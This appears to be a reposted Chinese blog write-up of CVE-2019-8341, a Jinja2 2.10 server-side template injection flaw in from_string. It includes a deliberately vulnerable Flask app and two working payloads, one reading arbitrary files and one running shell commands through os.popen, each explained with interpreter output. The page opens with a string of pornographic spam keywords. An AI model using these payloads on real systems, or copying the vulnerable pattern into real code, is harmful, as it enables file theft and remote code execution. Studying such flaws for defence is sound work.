日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2019-8341 Jinja2 RCE漏洞学习

發布時間:2024/4/17 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2019-8341 Jinja2 RCE漏洞学习 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

漏洞簡述



漏洞簡介


Jinja2.10版本,Environment的實例方法from_string,存在RCE,該函數在內部實現邏輯中,存在exec函數去執行了,from_string函數參數中的jinja2的代碼指令。

漏洞分類


遠程命令/代碼執行

影響版本


2.10

漏洞驗證:



驗證環境

  • 系統: Mac OS X
  • Python:2.7.15
  • Flask : 1.0.2
  • Jinja: 2.10

驗證服務器腳本(漏洞代碼)


import jinja2 from flask import Flask from flask import requestapp = Flask("vuln")@app.route("/") def index():username = request.values.get('username')return jinja2.Environment().from_string('Hello ' + username).render()if __name__ == "__main__":app.run(host='127.0.0.1' , port=4444)

問題代碼就出在第10行: jinja2.Environment().from_string('Hello ' + username).render()

攻擊方法1--任意文件讀取


Payload:http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()40.read() }}
解釋Payload:

#"""__mro類似于__base__,但是__mro__是追根溯源的,不是向上查找一級""" >>> ''.__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>) >>> ''.__class__.__mro__[-1] <type 'object'> >>> ''.__class__.__mro__[-1].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>] >>> ''.__class__.__mro__[-1].__subclasses__()[40] <type 'file'> #最終看出來就是在獲取file類使用file類創建一個對象,輸入參數是文件名,read()函數讀取:

攻擊方法2--命令執行


Payload:http://localhost:4444/?username={{%27%27.__class__.__base__.mro()[1].__subclasses__()[71].__init__.__globals__[%27os%27].popen(%22ls%20-l%22).read()}}
解釋Payload:

#前面同理買就是為了獲取兩個類,這兩個類中的__init__.__globals__中有os模塊,用來執行命令: """ <class 'site._Printer'> <class 'site.Quitter'> """ #然后可以獲取到os模塊,利用os模塊的popen執行命令,read函數獲取回顯。

防御



不使用這個函數或者對屬于進行過濾。

轉載于:https://www.cnblogs.com/KevinGeorge/p/10396397.html

總結

以上是生活随笔為你收集整理的CVE-2019-8341 Jinja2 RCE漏洞学习的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。